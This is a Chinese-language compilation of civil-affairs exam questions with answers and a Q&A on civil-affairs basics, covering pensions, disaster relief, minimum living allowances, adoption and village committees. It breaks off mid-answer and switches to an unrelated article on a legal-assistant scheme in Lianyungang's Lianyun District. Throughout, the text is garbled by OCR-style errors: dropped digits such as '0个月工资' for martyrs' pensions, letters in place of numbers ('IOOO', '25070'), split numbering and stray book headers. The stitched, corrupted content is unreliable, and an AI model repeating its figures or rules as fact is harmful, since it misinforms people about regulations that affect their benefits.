协理员（通用8篇）
一、填空题
1、民间组织：是对社会团体、民办非企业单位和基金会的统称。
2、社会团体可根据性质和任务分为学术性社团、行业性社团、专业性社团 性社团等。
3、民间组织的资产来源必须合法，任何单位和个人不得侵占、私分或挪用 织的资产。
4、民办非企业单位申请成立登记的审查时限：登记管理机关应自收到成立 请的全部有效文件之日起60日内作出准予登记或者不准予登记的决定。
5、优抚事业经费包括：抚恤、生活补助、医疗补助经费和优抚事业单位、念建筑物专项经费，是由国家各级财政投入，用来保障重点优抚对象生活 优抚事业单位及烈士纪念建筑物保护单位建设发展的经费。
6、抚恤一般是指国家对因公伤残人员、因公死亡以及病故人员家属采取的 质抚慰形式。
7、我国抚恤优待工作直接服务于国防和军队建设，它属于我国社会保障体 要组成部分。
8、复员安置是对退役士官的一种安置形式。
9、退伍军人是指1954年1 1月1日以后参加中国人民解放军，持有退伍或 人证件的人员。
10、开展退伍义务兵安置工作贯彻的原则是从哪里来、回哪里去。
11、士官服现役满10年可做转业安置，满30年可做退休安置。
12、因病致残是指义务兵和初级士官在服役期间患病，经医疗终结后评定的病残。1
3、慈善事业发展要坚持“扶贫济困、自愿无偿、公开公正、政府推动、民间实 施’’的原则。
14、自然灾害损失分为人员伤亡损失、经济财产损失、灾害救援损失三大类。
15、差额补助就是按照当地城市居民最低生活保障标准与居民实际收入之差来确 定对低保对象的救助标准。
16、城市低保待遇的审批主要包括调查、审核、批准等环节。1
7、农村五保供养形式可分为集中供养和分散供养两大类。
18、五保供养必须遵循自愿选择和属地管理的原则。
19、敬老院吸收五保对象入院供养应坚持“入院自愿，出院自由”的原则。20、救灾捐赠应当本着自愿和无偿的原则。
21、灾情统计、核定、报告必须本着实事求是、及时准确的原则。
22、救灾款物的发放要坚持公平、公正、公开的原则。
23、村民委员会是村民自我管理、自我教育、自我服务的基层群众性自治组织。
24、村民委员会每届任期3年。
25、村民委员会决定问题，应采取少数服从多数的原则。
26、选民在选举期间外出，由本人申请，经选举委员会同意，可以委托候选人以 外的选民代为投票。但每一选民接受委托不得超过3人。
27、村民对公布的选民名单有异议的，可以向村民选举委员会提出，村民选举委 员会应当在3日内作出解释或者纠正。
28、本村五分之一以上有选举权的村民联名，可以要求罢免村民委员会成员。
29、村民委员会成员要求辞去职务的，应当以书面形式向村民会议或者村民代表 会议提出。
村民会议由村民委员会召集。有十分之一以上的村民提议，应当召集村民会 议。
31、每社区推选的村民代表总数不得少于20人。
32、突发性自然灾害快报，填报程序初报、续报、核报。
33、县级民政部门上报年报初报要于10月1 5日之前上报地（市）级民政部门。
34、收养人、送养人双方协议解除收养关系的，如果养子女年满10周岁以上的，应 当征得本人同意。
35、国家对地名实行统一管理、分级负责制。
36、确定边界线走向应采取图上定界、实地勘界的方法。
37、设区的市之间行政区域界线的检查，由省人民政府民政部门负责协调，每5 年联合检查一次。县（市、区）之间行政区域界线的检查，由设区的市人民政府 民政部门负责协调，每3年联合检查一次。
38、故意损毁或者擅自移动界桩等行政区域界线标志物的，由所在地负责管 理该行政区域界线标志的民政部门处IOOO元以下的罚款。
39、界桩管理的原则是谁牵头、谁管理。一
40、民政部门是行政区划管理工作的主管部门。
41、我国《收养法》中所称的孤儿是指其父母死亡和人民法院宣告其父母死亡的 不满14周岁的未成年人。
42、无配偶的男性收养女性的，收养人与被收养人的年龄应当相差40周岁以上。
43、养予女与生父母及其他近亲属间的权利义务关系，因收养关系的成立而消除。
44、收养人、送养人双方协议解除收养关系的，如果养子女年满10周岁以上的，应 当征得本人同意。
45、收养查找不到生父母的弃婴和儿童的，登记机关还要在登记前进行公告，公告期 为60日。
46、家庭养老的内容有多种形式，主要有经济供养、生活服务和居住形式。
47、社会养老主要是机构养老、社区养老和社区照顾。
48、成立社会养老机构审查验收，民政部门自受理申请之日起30日内对所报文件 进行审查，并根据社会福利机构设置的基本标准进行实地验收。
49、养老机构根据不同服务对象采取不同的服务标准，一般分为休养护理服务和 特护护理服务两种。
50、福利彩票的发行宗旨是扶老、助残、救孤、济困、赈灾。
二、单选题
1、因胁迫结婚的，受胁迫的一方可以向婚姻登记机关或人民法院请求撤消该婚姻。受胁迫一方撤消婚姻的请求，应当自结婚登记之日起(C)年内提出。
A.3
B.2
C.1
D.4
2、成立社会团体，应当有(A)个以上的个人会员。
A.50
B.20.C.30
D.40
3、香港、澳门、台湾地区的组织和个人、华侨以及国外的申办人采取合资、合作 的形式举办社会福利机构，应当向(C)提出筹办申请。A、县级民政部门
B、设区市民政部门 C、省级民政部门
D、省人民政府
4、设立地方性公募基金会的原始基金不低于(B)万元人民币。
A.800
B.400
C.200
D.lOO
5、现役军人死亡，由县级人民政府民政部门发给其遗属一次性抚恤金，因公粞牲 的为(B)个月工资
A.20
B.40
C.60
D.80
6、开展大型救灾捐赠和募捐活动，举办单位应当在活动结束后(A)日内，报 当地人民政府民政部门备案。
A.30
B.45
C.60
D.90
7、居民委员会的办公用房，由(C)解决。A、开发商负责
B、居民委员会自筹
C、当地人民政府统筹
D、社区居民集资
8、村民委员会成员出现缺额的，应当在(C)依法补选。A、十五天内
B、一个月内 C、两个月内
D、九十天内
9、公墓内埋藏骨灰的墓穴不得超过(B)平方米。A.2
B.1
C.3
D.4 新编公共基础知识习题集与答案
A、20年
B、50年
C、10年
D、30年
1、港澳台居民、华侨以及外国人在中国内地办理婚姻登记，出具的无配偶声明 或证明的有效期为：(B)。
A、3个月
B、6个月
C、9个月
D、一年
12、收养年满(C)以上未成年人的，应当征得被收养人的同意。A、7周岁
B、8周岁
C、10周岁
D、14周岁
3、城市居民最低生活保障的管理审批机关应当自接到申请人提出申请之日起的(D)日内办结审批手续。
A.10
B.15
C.7
D.30
14、基金会设理事会，根据《基金会管理条例》规定，基金会的理事成员只能设(B)。
A、3至25人
B、5至25人
C、7至25人
D、9至25人
15、成立社会团体，个人会员、单位会员混合组成的会员总数不得少于(B)。A、30个
B、50个
C、60个
D、80个
6、筹备成立的社会团体，应当自登记管理机关批准筹备之日起(B)内召开会员 大会或者会员代表大会，通过章程，产生执行机构、负责人和法定代表人，并向 登记管理机关申请成立登记。
A、3个月
B、6个月
C、9个月
D、12个月
17、民办非企业单位根据其依法承担民事责任的不同方式，可分为(B)_种。A、国有、集体、私有
B、法人、合伙、个人 C、独资、合资、合作
D，国营、联营、民营
8、社会福利机构分立、合并或者解散，应当提前(C)，向民政部门提出申请。A、1个月
B、2个月
C、3个月
D、6个月
19、社会福利机构将其所属的固定资产租赁或转让，须经(D)部门确认。
A、工商部门
B、民政部门和工商部门
C、登记机关
D、民政部门和登记机 关
20、换发福利企业证书为(C)。
A、一年一次
B、两年一次
C、三年一次
D、四年一次
21、义务兵和初级士官的残疾，由(B)认定和评定。
A、军队军区级以上单位卫生部门
B、军队军级以上单位卫生部门
C、省级人民政府民政部门
D、县级人民政府民政部门
22、退出现役的因战、因公、因病致残的残疾军人因病死亡的，对其遗属增发(D)个月的残疾抚恤金，作为丧葬补助费。A.6
B.8
C.IO
D.12
23、因战、因公三级和四级残疾军人的护理费，其标准应为当地职工月平均工资 的(B)。
A、30%
B、40%
C、50%
D、60% 新编公共基础知识习题集与答案
一
-录用的，要退回《城镇退役士兵自谋职业证》和一次性经济补助金。A、一年
B、两年
C、半年
D、三年
25、退伍军人安置机构设在(D)。
A、人民武装部门
B、劳动部门
C、人事部门
D、民政部门
26、乡、民族乡、镇的设立、撤销、更名和行政区域界线的变更，是由(B)审批 的。
A、国务院
B、省级人民政府
C、设区市人民政府
D、县级人民政 府
27、国务院公布的《城市生活无着的流浪乞讨人员救助管理办法》是(B)。A、法律
B、行政法规
C、部门规章
D、地方法规
28、《城市生活无着的流浪乞讨人员救助管理办法》规定救助管理的执法主体是(A)。
A、民政部门
B、公安部门
C、卫生部门
D、铁道部门
29、救助站应当根据受助人员的情况确定救助期限，一般不超过(B)天，因 特殊情况需要延长的，报上级民政主管部门备案。A.7
B.lO
C.15
D.20 30、我国救灾体系实行政府统一领导下部门分工负责的管理体制，民政部门负责 实施的灾害救助工作主要是：(A)A、自然灾害救助
B、人为灾害救助
C、交通事故救助
D、医疗事故 救助
31、公募基金会每年用于从事章程规定的公益事业支出，不得低于上一总收 入的(A)。
A、70%B、60%
C、50%
D、300_4 32，民办非企业单位必须拥有与其业务活动相适应的合法财产，且其合法财产中 的非国有资产份额不得低于总资产的(B)。
A、四分之三
B、三分之二
C、二分之一
D、三分之一
33、军人的抚恤优待，实行(C)相结合的方针。A、国家和单位
B、单位和集体 C、国家和社会
D、政府和社团
34、多次获得荣誉称号或者立功的烈士、因公牺牲军人、病故军人其遗属由县级 人民政变民政部门按照其中最高等级奖励的增发比例，增发(B)。A、定期抚恤金
B、一次性抚恤金
C、临时性抚恤金
D、一次性特别抚恤金
35、退出现役的残疾军人，按照残疾等级享受(C)。A、残疾补助金
B、医疗补助金 C、残疾抚恤金
D、疾病补助金
36、残疾军人凭(A)免费乘坐市内公共汽车、电车和轨道交通工具。
新编公共基础知识习题集与答案
一
-C、《中华人民共和国军官证》
D、《定期抚恤金领取证》
37、复员军人生活困难的，按照规定的条件，由当地人民政府民政部门给予(C)，逐步改善其生活条件。
A、一次性补助
B、医疗补助 C、定期定量补助
D、临时补助
38、退伍义务兵回到原征集地(C)内，持退伍证和部队介绍信到县、市、市 辖区兵役机关办理预备役登记。
A、二十天
B、四十天
C、三十天
D、半年
39、军队离退休干部服务管理工作用车按照接收的军队离退休干部人数的(D)比例配备。
A.1:20
B.1:30
C.1:40
D.1:50 40、有选举权和被选举权的村民名单，应当在选举日的(C)日之前公布。A.10
B.15
C.20
D.25
41、灾区完成恢复重建任务的时限为：(B)A、三个月
B、六个月
C、一年
D、一年半
42、下列(A)是列入因灾倒塌房屋间数的统计范畴。
A、日常起居的自然间
B、独立的厨房
C、牲畜棚
D、简易房
43、下列对民房恢复重建对象表述正确的是(A)A、因灾造成无自救能力的全倒户、特困户、五保和优抚对象； B、因灾倒房的全倒户、特困户、五保和优抚对象；
C、灾害面前人人平等，只要是倒损房户均应一视同仁，列入政府补助；
D、为体现政府关怀，年久失修原因造咸的房屋倒塌、损坏户也应纳入政府重建 救助对象；
44、县级灾区民房恢复重建工作领导机构是(B)A、由民政部门牵头组成；
B、由县政府负责组织民政、财政、计划发展改革、建设、国土、水利、扶贫移 民、林业、工商、税务、物价、监察等有关部门组成； C、由建设部门牵头组成； D、由财政部门牵头组成。
45、关于恢复重建资金补助的确定以下表述正确的是(B)A、应根据倒房户实际需要给予补助； B、突出重点，不得平均分配；
C、只要群众满意、当地条件许可，补助标准越高越好、越多越好； D、由县民政局根据建房对象类别分类制定。
46、救灾帐篷使用后应如何处理？
(D)A、可以留给受灾户长期使用
B、可以留给受灾的困难户长期使用
新编公共基础知识习题集与答 C、可以由县一级民政局折价处理
D、应清洗、整理后回收入库，以备再用
47、城市居民对县级人民政府民政部门作出的不批准享受城市低保待遇或者减发、停发低保金或者给予的行政处罚不服的，(C)。
A、不能申请行政复议
B、不能提起行政诉讼 C、可以申请行政复议
D、直接提起行政诉讼
48、农村五保供养标准一般不得低于当地村民的(B)。A、一般生活水平
B、平均生活水平C、较好生活水平
D、较低的生活水平
49、下列(B)属于可撤消婚姻。
A、未到法定结婚年龄的B、非双方自愿的
C、一方或者双方已有配偶的D、属于直系血亲或者三代以内旁系血亲的 50、禁止买卖婚姻体现《婚姻法》中的哪项基本原则：(A)A、婚姻自由原则
B、一夫一妻制原则 C、男女平等原则
D、实行计划生育原则
三、简答题
1、优抚对象包括那些人？
优抚对象是优抚工作的特定保障对象，包括：中国人民解放军现役军人、服现役 或者退出现役的残疾军人以及复员军人、退伍军人、烈士遗属、因公牺牲军人遗 属、病故军人遗属、现役军人家属。
2、退役士兵的安置方针和原则？
退伍义务兵安置工作必须贯彻从哪里来、回哪里去的原则和妥善安置、各得其所 的方针。
3、什么是待分配时间？
指《退伍义务兵安置条倒》规定的符合安排工作条件的退伍军人，回到原征集地 到退伍安置办公室报到之日起，至到所分配的工作单位报到之日止的这段等待分 配的时间。
4、居民委员会是一个什么性质的机构？
根据《城市居民委员会组织法》第二条规定居民委员会是居民自我管理、自我教 新编公共基础知识习题集与答案
育、自我服务的基层群众性自治组织。
5、居民委员会进行时应适用什么原则及方法？
根据《城市居民委员会组织法》第十一条规定居民委员会决定问题，采取少 数服从多数的原则。居民委员会进行工作，应当采取民主的方法，不得强迫命令。
6、村民委员会设立的原则是什么？
村民委员会根据村民居住状况，人口多少，按照便于群众自治的原则设立。
7、如何罢免村委会成员？
本村五分之一以上有选举权的村民联名，可以要求罢免村民委员会成员。罢 免要求应当提出罢免理由。被提出罢免的村民委员会成员有权提出申辩意见。村 民委员会应当及时召开村民会议，投票表决罢免要求。罢免委员会成员须经有选 举权的村民过半数通过。
8、什么是城市居民最低生活保障制度？
城市低保制度是政府为保障城市贫困居民的最低生活水平，按其公布的最低生活 保障标准与居民实际收入之差进行差额救助的一种新型社会救济制度。
9、实施城市低保制度，需遵循的原则是什么？
(1)、保障城市居民基本生活的原则。
(2)、属地管理的原则。
(3)、鼓励劳动自救的原则。
(4)、公开、公平、公正的原则。
10、城市低保标准制定和调整的主要依据是什么？
城市低保标准制定和调整的主要依据，是按照当地维持城市居民基奉生活所必需 的衣、食、住费用，并适当考虑水、电、燃煤（燃气）费用以及未成年人义务教 育费用。
11、申请城市低保待遇的条件有哪些？
申请城市低保待遇的人员必须同时具备以下条件：(1)持有户籍所在地常住城市户口。
(2)共同生活的家庭成员月人均收入低于当地城市低保标准。(3)实际生活水平低于当地城市低保标准。
12、五保供养对象需要具备的条件是什么？
(1)、无劳动能力。(2)、无生活来源。(3)、无法定赡养、抚养、扶养义务人，或者其法定赡养、抚养、扶养义务人无赡养、抚养、扶养能力。
同时满足这三个条件的老年人、残疾人或者未满16周岁的村民才能成为五保对 象。
13、哪些人员可以入敬老院供养？其入院原则是什么？
敬老院以供养五保对象为主，生活确实有困难的优抚对象也可申请入院。敬老院 吸收五保对象入院供养应坚持“入院自愿，出院自由”的原则。
14、救灾款物的使用范围有哪些？
(1)、解决灾民无力克服的衣、食、住、医等生活困难；(2)、紧急抢救、转移和 安置灾民；(3)、灾民倒房恢复重建； 1
5、什么是社团？
是指公民自愿组成，为实现会员的共同意愿，按照其章程开展活动的非营利性社 会组织。
16、什么是民办非企业单位？
是指企、事业单位、社会团体和其它社会力量以及公民个人利用非国有资产举办 的，从事非营利性社会服务活动的社会组织。
17、收养人的条件？
(l)元子女。(2)有抚养教育被收养人的能力(3)未患有在医学上认为不应当 收养子女的疾病(4)年满30周岁。
新编公共基础知识习题集与答案
一。
8、成立民办非企业单位登记，申请单位需向登记管理机关提交那几项材料？(1)、登记申请书(2)、场所使用权证明(3)、验资报告(4)、拟任负责人的基 本情况、身份证明(5)、章程(6)、业务主管单位的批准文件。
19、试述福利彩票公益金的使用原则和宗旨？
福利彩票公益金的管理和使用应当遵循统筹规划、公开透明、定向使用、科学管 理、严格监督的原则，要严格贯彻和充分体现“扶老、助残、救孤、济困”的宗 旨。20、《福利企业资格认定办法》中对福利企业是怎样规定的？
福利企业，是指依法在工商行政管理机关登记注册，安置残疾人职工占职工总人 数25070以上，残疾人职工人数不少于10人的企业。民政基础知识
1．问：
“民政”一词由何而来？
答：据考证，民政工作历史悠久，源远流长，是最原始、最古老的国家行
政管理工作。许多民政业务已有3 0 0 0多年的历史，在西周时期就有领土疆域 划分、基层行政组织设置、调解民事纠纷、救灾救济等社会行政事务管理，古 称“民事”。但“民政”一词的出现和民政概念的形成则是在唐宋时期，唐代 有“安民立政”之说，北宋有“修治民政”之论，“民政”一词逐步在官方和 民间广泛使用。自古以来，历代有识之士都认为“民力邦本，本固邦宁’’，只 有广大民众安居乐业，社会才能稳定，主张当政者应考虑民众的愿望，办理民 众事务，予民以利，惠民利民而安民，也就是所谓“为民行政”。这就是中国 民政的由来和最初的涵义。在漫长的历史进程中，伴随着政治、经济、社会的 发展变化，民政的内容也常有变化。但变中有恒，一些基本的事务始终未曾间 断，历代相承，延续至今。新中国成立后，于1 9 5 4年正式设立地方各级民政 管理机构，经过近6 0年的历史演变，目前，民政工作的内涵主要包括：民间
新编公共基础知识习题集与答案
‘
-组织登记、优抚安置、救灾救济、居民最低生活保障、基层政权和社区建设、区划地名管理、社会福利和慈善事业、婚姻登记、收养登记、社会救助、殡葬 管理、老龄工作、社会工作及福利彩票发行等工作。
2．问：新中国何时开始设立国家民政部？
答：新中国民政部的前身是成立于1 9 4 9年的“中央人民政府内务部”，1 9 5 4年改称“中华人民共和国内务部”，1 9 6 9年撤消，1 9 7 8年开始设立“中 华人民共和国民政部”，并延续至今。
3．问：民政部门的工作宗旨是什么？
答：根据民政部全国门户网站关于“机构概览”的表述，概括地讲，民政 部门的工作宗旨就是：
“上为中央分忧，下为百姓解愁”。
4．问：民政部门在政府中的职能定位是什么？
答：根据民政部全国门户网站关于“机构概览”的表述：民政部门是国家 政务部门中主管社会事务的政府职能部门。
5．问：解释：国内行政事务的一部分，在我国，民政包括民间组织管理、优抚安置、救灾救济、基层政权和社区建设、行政区划、地名和边界管理、社 会福利和社会事务、老龄工作等。
答：基本解释．．政府处理的有关人民的行政事务，如户政、婚姻登记、优 抚、救济等
6．问：新时期民政工作的核心职能是什么？
答：新时期民政工作的核心职畿是“解决民生、落实民权、维护民利”。
7．问：温家宝总理在接见第十二次全国民政会议代表时要求各级民政干 部要做哪三种人？
新编公共基础知识习题集与答案
答：温家宝总理在接见会议代表时要求：“各级民政干部都要做一个有心 的人，用心了解社情民意；做一个心重的人，把群众的事情看得比泰山还重； 做一个心诚的人，诚心诚意帮助群众解决困难，为群众服务。”
8．问：最基层的民政管理机构设在哪里？
答：社区、村（居）民委员会是群众申请办理民政事务的最基层组织，乡 镇（街道办）民政办公室是群众申请办理民政事务的最基层民政管理机构，县（市）、区民政局是审批群众申请办理民政事务的主要民政管理机关，具有重 大影响的民政事务审批事项依法由市一级民政局或自治区民政厅负责审批。
9．问：民政系统的最高荣誉奖是什么？
答：孺子牛奖。
“孺子牛奖”是中华人民共和国民政部最高荣誉奖，于 1 9 8 6年1 1月设立。该奖取名于鲁迅先生“俯首甘为孺子牛”的名句，旨在体 现、弘扬一往无前、踏实苦干、不图名利、勇于献身的精神。“孺子牛奖”主 要授予全国民政系统中成绩卓著、有突出贡献和重大影响、堪称典范的工作人 员，以及国内外关心、支持民政事业并作出重大贡献的社会各界人士。“孺子 牛奖”由民政部授予，并向获奖者颁发“孺子牛”奖杯。
10.问：什么是低保？
答：低保是居民最低生活保障的简称。1 9 9 7年，国务院下发了《芙于在 全国建立城市居民最低生活保障制度的通知》
（国发[1997] 29号），要求 1 9 9 9年年底前，县级以上城市和县政府所在地的镇都要建立城市居民最低生 活保障制度。对于家庭人均收入低于当地最低生活保障标准的非农业户口的城 市居民，均纳入城市居民最低生活保障范围，所需资金由地方各级人民政府列 入财政预算。
新编公共基础知识习题集与答案
低保，是在城市已经建立了国有企业下岗职工基本生活保障、失业保险和 城市居民最低生活保障等“三条保障线”制度的基础上，建立实行最低生活保 障的制度。
由经济学家吴敬琏引发的“全民低保”大讨论，把中国正在着力构建的覆 盖城乡居民的最低生活保障再次推向了舆论前台。所谓“全低保”，较为完整 的表述应是：凡是中国公民，只要其家庭人均收入低于当地城乡居民最低生活 保障标准，均有从当地人民政府获得基本生活物质帮助的权利。直白的解释则 是：
“低保”等于城市居民最低生活保障（简称“城市低保”）加农村居民最 低生活保障（简称“农村低保”）。表面看，“全民低保”事关1 3亿公民的 基本生活保障，所涉资金庞大，管理难度很高，大有超越国情国力之嫌。然深 究进去，不难发现，就当前而言，实现“全民低保”，重点是全面建立农村低 保制度，难点是建立稳定的资金筹措渠道，着力点是加大中央政府的支持力度。
2．问：什么是五保
答：村五保供养，是我国农村依照《农村五保供养工作条例》规定对丧失 劳动能力和生活没有依靠的老、弱、孤、寡、残的农民实行保吃、保穿、保烧、保教、保葬的一种社会救助制度。9 9 4年1月，国务院公布施行《农村五保供养工作条例》，规定五倮供 养的主要内容是“保吃、保穿、保住、保医、保葬（孤儿保教）"，供养标准 为当地村民一般生活水平，所需经费和实物，从村提留或者乡统筹费中列支。1 9 9 7年3月，民政部颁布《农村敬老院管理暂行办法》，规范了农村敬老院 建设、管理和供养服务。这两项法规规章的出台，标志着我国农村五保供养工 作开始走上规范化、法制化的管理轨道。新编公共基础知识习题集与答案 0 0 0年以来，随着我国农村税费改革试点工作的推进，农村五保供养资 金渠道随之调整。取消农业税及附加后，供养经费又调整为主要从上级财政转 移支付和地方各级财政预算中安排。
救灾救济制度 3．问：按照现行救灾款管理使用制度规定，基层发放救灾款时，不论是 发放现金还是发放实物，都要将数额公开。在发放过程中必须坚持什么程序？
答：《关于进一步加强救灾款使用管理工作的通知》（民救发【1999]7号）
规定程是：坚持民主评议、登记造册、张榜公布、公开发放
4．问：救灾款的使用范围有哪些？
答：《关于进一步加强救灾款使用管理工作的通知》（民救发【1999]7号）规定：一是解决灾民无力克服的衣、食、住、医等生活困难；二是紧急抢救、转移和安置灾民；三是灾民倒房恢复重建；四是加工及储运救灾物资。
5．问：救灾过程中的紧急转移安置人口指哪些？
答：根据《自然灾害情况统计制度》指标解释第1 4条规定，紧急转移安 置人口指因受到灾害威胁、袭击，离开住所转移安置到其他地方，并提供紧急 救助的人口，或因断水、断电、交通中断等原因生活困难，需提供紧急救助的 人口，包括非常住人口以及农垦企业、国有林场、华侨农场的受灾人员。
16.问：因灾需耍政府予以口粮救济的人口如何确定？
答：根据《自然灾害情况统计制度》指标解释第4 0条规定，因灾需口粮 救济人口指无钱、无粮、无自救能力，需要政府予以口粮救济的人口。
7．问：如何确定因灾毁坏耕地面积？
答：根据《自然灾害情况统计制度》指标解释第2 3条规定，毁坏耕地面 积指因灾导致被冲毁、掩埋、沙砾化等，在短期内不能恢复的耕地面积。18.问：自然灾害发生后，民政部门如何确定受灾人口？ 新编公共基础知识习题集与答桑
答：
《自然灾害情况统计制度》指标解释第1 0条规定，受灾人口是指本 行政区域内因自然灾害遭受损失的人口数量，包括非常住人口。
19.问：如何确定饮水困难人口？
答：根据《自然灾害情况统计制度》指标解释第1 6条规定，饮水困难人 口是指因灾饮用水困难的人口数量，含非常住人口。
20.问：灾情发生后，民政部门如何确定农作物绝收面积？
答：根据《自然灾害情况统计制度》指标解释第2 2条规定，农作物绝收 面积指农作物受灾面积中，因灾减产8成以上的农作物播种面积。民政常识自学部分
4月第二次学习以自学为主，自学时间为4月2 9日，希望大家自行安排 时间记好笔记，并于5月份集中上交迎接检查。
1．问：现行<军人抚恤优待条例》是哪一年公布施行的？
答：2004年8月1日，国务院总理温家宝、中央军委主席江泽民签署 第4 1 3号令，批准公布新修订的《军人抚恤优待条例》，自2 0 0 4年1 0月1 日起施行。
2．问：
《军人抚恤优待条例》规定的抚恤优待对象有哪些？
答：《军人抚恤优待条例》第2条规定，依照本条例的规定享受抚恤优待 的以下人员为抚恤优待对象：中国人民解放军现役军人、服现役或者退出现役 的残疾军人以及复员军人、退伍军人、烈士遗属、因公牺牲军入遗属、病故军 人遗属、现役军人家属。
3．问：什么是复员军人？
答：
《军人抚恤优待条例》第5 1条规定，复员军人是指在1 9 5 4年1 0 月3 1日前入伍，后经批准从部队复员的人员。
4．问：什么是带病回乡退伍军人？
答：
《军人抚恤优待条例》第5 1条规定：带病回乡退伍军是指在服现役 期间患病，尚未达到评定残疾等级条件并有军队医院证明，从部队退伍的人员。
5．问：现役军人死亡性质分哪几类？
答：
《军人抚恤优待条例》第7条规定：现役军人死亡性质为烈士、因公 牺牲和病故三种。
6．问：现役军人死亡后其遗属享受一次性抚恤金的标准是什么？
答：
《军人抚恤优待条例》第1 2条规定：烈士：0个月工资；因公牺 牲：40个月工资；病故：20个月工资。获得荣誉称号或者立功的烈士、因公 牺牲军人、病故军人，其遗属在应当享受的一次性抚恤金的基础上，由县级人 民政府民政部门按照下列比例增发一次性抚恤金：
(1)获得中央军事委员 会授予荣誉称号的，增发3 5%；
(2)获得军队军区级单位授予荣誉称号 的，增发3 0%；
(3)立一等功的，增发2 5%；
(4)立二等功的，增
发1 5%；
(5)立三等功的，增发5%。
多次获得荣誉称号或者立功的烈 士、因公牺牲军人、病故军人，其遗属由县级人民政府民政部门按照其中最高 等级奖励的增发比例，增发一次性抚恤金。
7．问：一次性抚恤金的发放顺序是什么？
答：
《军人抚恤优待条例》第1 4条规定：第一顺序：烈士、因公牺牲军 人和病故军人的父母【抚养人）、配偶、子女。第二顺序：没有父母（抚养人）、配偶、子女的，发给未满1 8周岁的兄弟姐妹和已满1 8周岁但无生活费来源 故且由该军人生前供养的兄弟姐妹。无上述亲属的，不发。
8．问：遗属享受定期抚恤金的条件是什么？
答：
《军人抚恤优待条例》第1 5条规定，对符合下列条件之一的烈士遗 属、因公牺牲军人遗属、病故军人遗属，发给定期抚恤金：
(1)父母（抚养 人）配偶无劳动能力、无生活费来源，或者收入水平低于当地居民平均生活水
新编公共基础知识习题集与答案
‘
-平的；
(2)子女未满1 8周岁或者已满1 8周岁但因上学或者残疾无生活费 来源的；
(3)兄弟姐妹未满1 8周岁或者已满1 8周岁但因上学无生活费来 源且由该军人生前供养的。
9．问：享受定期抚恤金的烈士遗属、因公牺牲军人遗属、病故军人遗属 死亡后，定期抚恤金如何处理？
答：
关键词：法治协理员,经验总结,基层法治建设
近年来, 连云港市连云区紧紧围绕“全面落实依法治区, 建设平安法治连云”的目标, 深入推进平安法治连云建设, 增强党委、政府依法行政能力, 采取了一系列举措, 特别是在推行法治协理员工作方面形成了一套完整的制度和措施, 并在基层付诸实施, 取得了良好的社会效果和法律效果。总结法治协理员工作取得的经验, 对于进一步促进基层法治建设, 夯实和谐社会的根基, 具有重要的现实意义。
一、经验形成的过程及其背景
(一) 经验形成过程
为切实加强对基层法治建设的监督力度, 深入推进法治连云建设, 2006年5月份, 连云港市连云区依法治区领导小组办公室以《关于在区重点工作指挥部及各乡 (街道) 派任法治协理员的意见》决定从区政法部门选拔50名政治素质高、工作能力强, 具备一定法律专业素质的同志到区重点工作指挥部及各乡 (街) 任法治协理员。该制度运行五年多以来, 被派任的法治协理员协助派任单位建立健全了决策机制, 提供了大量的法律咨询和建议, 参与规范性文件的起草与审查, 开展了法制宣传教育, 宣传了法律知识, 协助调处了大量矛盾纠纷和息诉息访工作, 取得了显著的成绩。
(二) 实践形成的背景及动因分析
法治协理员制度的形成与现阶段经济社会的发展要求密不可分, 是顺应时代发展的实际需求而产生的, 具有现实动因。
一是严峻的社会稳定形势的需求。现阶段人民内部矛盾凸显叠加, 维护社会稳定大局面临新挑战, 这就要求我们进一步提高法治意识, 运用法治手段去规范权力的运行, 维护社会稳定。
二是提高基层单位及工作人员法律知识水平及依法执政能力的需求。法治协理员制度的实行, 能有效地顺应现实需求, 进一步提高基层的法律知识水平和依法执政能力。
三是领导高度重视依法治理方略, 建设法治社会的需求。法治协理员制度的建立和实行, 是领导干部高度重视的结果。各级领导干部只有认识到依法治理的重要意义, 才能有利于该制度的顺利推行, 达到预期目标。
二、基本做法:法治协理员制度的模式及其选择
(一) 建立一套制度, 引领工作方向
2006年5月, 连云港市连云区制定了《关于在区重点工作指挥部及各乡 (街道) 派任法治协理员的意见》, 对法治协理员派任工作的指导思想、定位、工作范围及要求、选任及考核评价机制、组织保障等事项均作了明确规定, 主要突出六个方面:
一是明确指导思想。坚持以邓小平理论和“三个代表”重要思想为指导, 全面落实科学发展观, 以推进依法行政和建设法治政府为目标, 紧紧围绕“服务发展抓平安法治建设, 抓好平安法治促进社会发展”的工作思路, 全面落实建设法治社会的各项工作措施, 努力为重点工作指挥部及各乡 (街) 创造和谐稳定的社会治安环境和公平正义的法治环境。
二是明确法治协理员的定位。法治协理员应是协助派任单位处理涉及有关法律问题的事务和化解社会矛盾纠纷, 并提供相关法律咨询服务和进行法制宣传教育, 具有相对独立地位的法律专业人员。其特性主要体现为:1.法治协理员在工作中处于协助地位, 有义务提供相关法律咨询、建议和服务。2.法治协理员的地位具有相对独立性, 其有权依据自己的法律专业知识独立作出判断, 提供相关的法律意见和服务。其职责主要为:1协助健全行政决策机制;2.协助推进依法行政;3.深入开展普法教育;4.协助完善大调解工作机制;5.提供法律咨询服务。
三是明确法治协理员的选任机制:1.来源:原则上从政法各部门选任;2.选任条件:政治素质高、工作能力强、法律专业知识精、社会经验丰富;3.任职期限:一般为3年, 若发生违反法律、法规或纪律规定, 不适宜继续担任的, 必要时可随时更换;4.管理方式:实行双重管理体制, 由派出单位和派任单位共同管理, 法治协理员必须遵守规章制度, 服从管理, 每周五为到所派任单位工作日。
四是明确法治协理员的意见征询采纳机制。区重点工作指挥部及各乡 (街) 在作出有关涉及法律问题的决策时, 必须书面征求法治协理员的意见。法治协理员须根据其法律专业知识就有关事项作出判断, 或提供解决问题的思路和方法, 并填写《法律意见征询函》。法治协理员的意见原则上应作为参考依据, 若因不采纳提供的意见而作出错误决策造成严重后果的, 应当追究相关人员的行政责任。
五是明确关于法治协理员的考核评价机制。具体考核办法为一年考核一次, 并于考核结束后将考核结果向派出单位、派任单位通报。具体考核内容为:1.遵守工作制度情况;2.考核其行为操守;3.考核其协助处理事务的数量、效果, 特别是在化解社会矛盾, 维护社会稳定方面的作用;4.派任单位的评价意见。
(二) 因地制宜设点, 构建工作平台
目前, 除了在辖区所有的7个乡 (街道) 全部配备法治协理员外, 在一些重点建设工程指挥部亦派任了法治协理员, 建立起固定法治协理员办公点12个, 形成了覆盖全区的法治协理网络, 构筑了一个以法治协理为重心的工作平台。
(三) 依托基层政权建设, 延伸四项职能
几年来, 连云区充分发挥法治协理员制度的优越性, 在发挥其职能作用的同时, 不断放大法治协理员制度的综合效应, 拓展其职能, 取得了良好的社会效果。
